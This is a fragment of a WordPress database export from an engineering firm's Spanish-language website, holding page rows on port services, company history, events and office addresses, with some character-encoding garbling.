src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_cap%2FOVERVIEW2QUALS2SPANISH222Reduced.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Capacidades y experiencia profesional-DescripciÃ³n general-PortuguÃ©s','','publish','open','open','','capabilities-expertise-overview-portuguese','','','2012-02-10 19:46:22','2012-02-10 14:16:22','',0,'http://moffattnichol.com/spanish/?page_id=2172',109,'page','',0),(2174,1,'2012-02-10 19:50:30','2012-02-10 14:20:30','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_cap%2FCOASTAL2QUALS_SPANISH.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Capacidades y experiencia profesional-Costeros-EspaÃ±ol','','publish','open','open','','capabilities-expertise-coastal-spanish','','','2012-02-10 19:50:30','2012-02-10 14:20:30','',0,'http://moffattnichol.com/spanish/?page_id=2174',110,'page','',0),(2268,1,'2012-02-20 17:22:45','2012-02-20 11:52:45','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOCAES%2520Brochure-PRINTABLE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano ','','publish','open','open','','ocean-compressed-air-energy-storage-bochure','','','2012-02-20 17:22:45','2012-02-20 11:52:45','',0,'http://moffattnichol.com/spanish/?page_id=2268',113,'page','',0),(2284,1,'2012-02-22 13:39:44','2012-02-22 08:09:44','prueba','demostraciÃ³n','','publish','open','open','','demo','','','2012-02-22 13:39:44','2012-02-22 08:09:44','',0,'http://moffattnichol.com/spanish/?post_type=ai1ec_event&amp;p=2284&amp;instance_id=',0,'ai1ec_event','',0),(2286,1,'2012-02-23 16:07:49','2012-02-23 10:37:49','Esta es la reuniÃ³n de exalumnos','ReuniÃ³n','','publish','open','open','','get-together','','','2012-02-23 16:07:49','2012-02-23 10:37:49','',0,'http://moffattnichol.com/spanish/?post_type=ai1ec_event&amp;p=2286&amp;instance_id=',0,'ai1ec_event','',0),(2287,1,'2012-06-15 05:04:52','2012-06-15 05:04:52','<div class=\"content_faq\">\n <h3>servicios portuarios</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\n\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\n\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-planing.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">planeamiento portuario</h1>\nMoffatt & Nichol entiende la naturaleza dinámica del negocio de terminales de contenedores y por lo tanto la necesidad de flexibilidad y capacidad de ampliación operativas y del acceso optimizado a la terminal que se adapta a la tecnología más reciente durante su vida económica. Moffatt & Nichol es reconocido internacionalmente como líder e innovador en el planeamiento y diseño de puertos y terminales marítimas y su compleja infraestructura de apoyo.\n\nMoffatt & Nichol es la única firma en Norteamérica que ofrece un equipo interno completamente integrado que puede manejar cada aspecto del desarrollo de un puerto de contenedores, desde el pronóstico de carga hasta el diseño de una nueva terminal y su construcción y puesta en funcionamiento. Moffatt & Nichol ha manejado el planeamiento, diseño y construcción de más de 100 terminales de contenedores, incluyendo terminales automatizadas a nivel mundial, y algunos de los mayores proyectos de infraestructura de transporte de Norteamérica. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/managment.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">gestión de la construcción</h1>\nMoffatt & Nichol proporciona servicios de supervisión e inspección de la construcción; la firma tiene un grupo central de veteranos profesionales de la construcción con la experiencia para actuar como una extensión del personal de nuestros clientes para apoyar toda la diversidad de situaciones con que se pueden encontrar durante la ejecución de los proyectos. Creemos que la gestión de la construcción no comienza con el aviso al contratista para proceder, sino con el planeamiento inicial del programa, el desarrollo del diseño del proyecto, y la estrategia completa para la factibilidad de la construcción. Nuestros inspectores han proporcionado una pauta permanente con respecto de las operaciones y el mantenimiento, una respuesta rápida a los problemas de ingeniería durante la construcción y una supervisión de la gestión y del control de la calidad de la construcción, y garantizan que la construcción se realice estrictamente de acuerdo con los planos de diseño y las especificaciones técnicas. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/marine-structure.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">estructuras marítimas</h1>\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima. Desde la llegada de la contenedorización hasta las complejas tendencias del movimiento de mercancías y las regulaciones medioambientales de hoy en día, la firma ofrece capacidades integradas internas para apoyar prácticamente cualquier tarea portuaria, marítima o de transporte de carga en todo el mundo. Desde sus oficinas y centros especializados en Norteamérica, Europa y América latina, Moffatt & Nichol puede hacerse cargo de un proyecto desde el análisis conceptual y estudio de factibilidad hasta el planeamiento, el diseño y la construcción marítima. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-security.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">seguridad portuaria</h1>\n Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con iniciativas de Seguridad Nacional de los EE.UU., la firma está mejorando activamente la conciencia del dominio portuario y marítimo al proporcionar sistemas de seguridad avanzados. La clave para proporcionar soluciones correctas es equilibrar la seguridad personal y la protección de infraestructura crítica con la continuidad del puerto y las operaciones portuarias comerciales. En consecuencia, Moffatt & Nichol desarrolla e implementa enfoques novedosos que unifican los objetivos de seguridad con el flujo eficiente del comercio. Nuestras soluciones integrales relacionadas con la seguridad son adaptadas para las partes interesadas regionales, autoridades portuarias, operadores de terminales y personal de respuesta relacionado con la seguridad en todo el mundo. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/port-automation.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"6\">automatización portuaria</h1>\nCon décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas en todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas y la compleja infraestructura de apoyo al movimiento de carga terrestre y de contenedores hoy en día.\n \nEl desarrollo de una terminal de contenedores automatizada partiendo desde cero es una posibilidad desafiante. Requiere una comprensión de aspectos críticos tales como espacio y logística disponibles, configuraciones del terreno, selección del equipo, interfaz de los sistemas de operación, políticas y regulaciones gubernamentales, prácticas laborales, restricciones medioambientales y limitaciones de capacidad. El equipo de profesionales de Moffatt & Nichol incluye a importantes expertos de la industria que tienen una experiencia inigualable en el desarrollo de terminales de contenedores. Ellos aplican su experiencia y conocimientos para desarrollar terminales de contenedores modernas, flexibles y avanzadas que resistirán el paso del tiempo.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fery-terminals.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"7\">terminales de transbordadores</h1>\nComo una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en el planeamiento y diseño de instalaciones relacionadas con transbordadores en todo el mundo. En sociedad con nuestros clientes, Moffatt & Nichol proporciona una variedad de servicios que comprenden desde estudios de factibilidad y análisis económicos hasta el planeamiento, diseño, gestión del programa y apoyo en la construcción. La firma ha sido responsable de proyectos tan diversos como grandes transbordadores de pasajeros y carga hasta operaciones más pequeñas de taxis acuáticos urbanos, ofreciendo su experiencia profesional para optimizar la funcionalidad de la operación de los terminales y su rentabilidad. Ofrecemos una perspectiva global en apoyo de nuestros clientes de la industria de transbordadores, atendiendo a los miembros de la comunidad marítima, el sector gubernamental, el sector de logística intermodal y la comunidad inversora por igual.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/bulk-terminals.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"8\">terminales de graneles</h1>\nMoffatt & Nichol ofrece a sus clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel. Nuestras especializaciones incluyen el desarrollo de análisis financieros, estudios de factibilidad, planes maestros, documentos de diseño en detalle y la gestión y apoyo de la construcción para una variedad de instalaciones como atracaderos, espigones y áreas de carga y descarga hasta sistemas de almacenamiento y transferencia, así como redes de transporte interior. Nuestra cartera de proyectos incluye terminales e instalaciones que manejan carbón, menas, concentrados minerales, fertilizantes, granos y otros productos agrícolas, agregados de construcción, maderas, graneles líquidos y otros materiales a granel. Al combinar nuestra experiencia marítima con el conocimiento específico de la tecnología y el equipo de manipulación de graneles, Moffatt & Nichol puede dar apoyo a nuestros clientes con la infraestructura y las operaciones más eficientes, al mismo tiempo que maximizamos su funcionamiento. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/gate-planing.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"9\">planeamiento y diseño de compuertas</h1>\nLa gran experiencia de Moffatt & Nichol en seguridad de terminales marítimas y diseño de compuertas permite que nuestro equipo entienda completamente los problemas asociados con los proyectos de compuertas de seguridad. Aunque haya muchas firmas que pueden proporcionar servicios de diseño de compuertas, solo hay unas cuantas que pueden jactarse de la combinación de experiencia en diseño de compuertas, familiaridad con protocolos de seguridad actuales y conocimiento de los estándares y especificaciones privados y gubernamentales de construcción. Moffatt & Nichol goza de reputación mundial por la amplitud y profundidad de su experiencia con proyectos de compuertas y de seguridad.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/fedring.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"10\">análisis de defensas</h1>\nMoffatt & Nichol ha completado muchas evaluaciones y diseños de sistemas de defensa para muelles, dársenas, muros de retención, defensas de puentes, etc. para diferentes clientes que incluyen la Guardia costera de EE.UU., la Marina de EE.UU., autoridades portuarias y compañías navieras privadas. Nuestra especialización en sistemas de amarre y sistemas de defensa hizo que Moffatt & Nichol sea elegido para escribir los manuales de diseño de la Marina de EE.UU. para los amarres fijos (NAVFAC DM 26.4) y los amarres de flota (NAVFAC DM 26.5). Moffatt & Nichol realiza rutinariamente análisis de amarres y atraques estáticos y dinámicos para toda clase de amarres y tamaños de buques como parte de nuestra práctica portuaria.\n      \nMoffatt & Nichol reconoce que el sistema de defensa es la interfaz entre la nave y las instalaciones en la costa. El sistema de defensa está diseñado para actuar como un amortiguador durante el atraque de una nave absorbiendo o disipando la energía del impacto de la nave sin causar daños permanentes a la nave ni a las instalaciones en la costa. Después de atracar y amarrar la nave a las instalaciones de la costa, el sistema de defensa continúa proporcionando la interfaz entre la nave y la costa y transmite las cargas medioambientales (viento, olas y corrientes) en la nave a la estructura. La identificación de la magnitud y dirección de las fuerzas que se utilizarán en el diseño del sistema de defensa es crítica para el funcionamiento correcto del sistema.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/vesel.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"11\">estudios de maniobras y trÃ¡fico de buques</h1>\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglés). Este modelo también incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados. Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','Servicios portuarios','','inherit','open','open','','357-autosave','','','2012-06-15 05:04:52','2012-06-15 05:04:52','',357,'http://moffattnichol.com/spanish/index.php/2012/05/357-autosave/',0,'revision','',0),(2288,1,'2012-06-15 09:28:08','2012-06-15 09:28:08','<div class=\"content-speakers\">\r\n<h1>eventos presentados</h1>\r\n<div class=\"calender-left\">\r\n\r\n<strong>Conferencia costera ASBPA</strong>\r\n\r\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservación de las playas para compartir nuestra gran preocupación sobre la gestión futura de las playas y riberas de Estados Unidos. Los políticos, científicos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrán una mirada muy de cerca de los aspectos críticos que afectan la preservación y gestión de las playas y podrán comunicarse directamente con sus principales responsables.</p>\r\n&nbsp;\r\n<p class=\"moreheadlines-newone\"><a title=\"Más información\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">Más información</a>  |   <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n<p class=\"moreheadlines-newone\"></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n\r\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\r\n\r\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reunión de profesionales portuarios de todo el hemisferio.  Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada año en Washington, D.C. y cuenta con sesiones generales así como con reuniones del Comité y del Consejo.   </p>\r\n<p class=\"events-textbox-one\">&nbsp; </p>\r\n<p class=\"moreheadlines-newone\"><a title=\"Más información\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">Más información</a>  |   <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n\r\n\r\n</div>\r\n<div class=\"clear\"></div>\r\n<h3>calendario de eventos</h3>\r\n</div>','Calendario','','inherit','open','open','','240-autosave','','','2012-06-15 09:28:08','2012-06-15 09:28:08','',240,'http://moffattnichol.com/spanish/index.php/2012/05/240-autosave/',0,'revision','',0),(2289,1,'2012-06-19 11:18:41','2012-06-19 11:18:41','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea más información, póngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certifications\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-autosave','','','2012-06-19 11:18:41','2012-06-19 11:18:41','',295,'http://moffattnichol.com/spanish/index.php/2012/05/295-autosave/',0,'revision','',0),(2290,1,'2014-03-18 16:03:38','2014-03-18 16:03:38','<div class=\"content_faq\">\n<div class=\"our_officesimg\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/09/our_offices1.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\n<div class=\"our_officestxt\">\n<h1>nuestras oficinas</h1>\n<p class=\"our-office-para\">Con 30 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\n\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"1\">ABU DABI</h2>\n<strong>dirección</strong>\n\nRegus Al Bateen Business Centre,\n\nSuite 132, Bainunah Street 34,\n\nP.O. Box 113100,\n\nAbu Dabi, Emiratos Árabes Unidos.\n\n<strong>teléfono</strong>\n\n+971 (0)2 406 9696\n\n<strong>fax</strong>\n\n+971 (0)2 406 9810\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/atlanta.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"30\">Atlanta</h2>\n<strong>dirección</strong>\n\n3730 Chamblee Tucker Road, Suite M\n\nAtlanta, GA 30341\n\n<strong>teléfono</strong>\n\n+1 770-492-8204\n\n<strong>fax</strong>\n\n\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"2\">Baltimore</h2>\n<strong>dirección</strong>\n\n2700 Lighthouse Point East, Suite 501\n\nBaltimore, MD 21224\n\n<strong>teléfono</strong>\n\n+1 410-563-7300\n\n<strong>fax</strong>\n\n+1 410-563-4330\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"3\">Baton Rouge</h2>\n<strong>dirección</strong>\n\n301 Main Street, Suite 800\n\nBaton Rouge, LA 70825\n\n<strong>teléfono</strong>\n\n+1 225-336-2075\n\n<strong>fax</strong>\n\n+1 225-336-2076\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"4\">Bogotá</h2>\n<strong>dirección</strong>\n\nAvenida Cra. 9 N.° 113-52, Of.1201\n\nBogotá D.C., Colombia\n\n<strong>teléfono</strong>\n\n+57-1213-1149\n\n<strong>fax</strong>\n\n+57 1629 4365\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n</div>\n\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#31\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"7\">FARNBOROUGH</h2>\n\n<strong>dirección</strong>\n\nSuite 161, The Hub,\n\nFarnborough Business Park, Fowler Avenue,\n\nFarnborough, GU14 7JF, United Kingdom\n\n<strong>teléfono</strong>\n\n+44 20 3206 1062\n\n<strong>fax</strong>\n\n+44 20 3206 1061\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\n</div>\n\n<div class=\"addressbox_one\">\n<div class=\"addbox_left\">\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\n</div>\n<div class=\"abu_dhabi\">\n<h2 id=\"7\">HONOLULÚ</h2>\n\n<strong>dirección</strong>\n\n733 Bishop Street, Suite 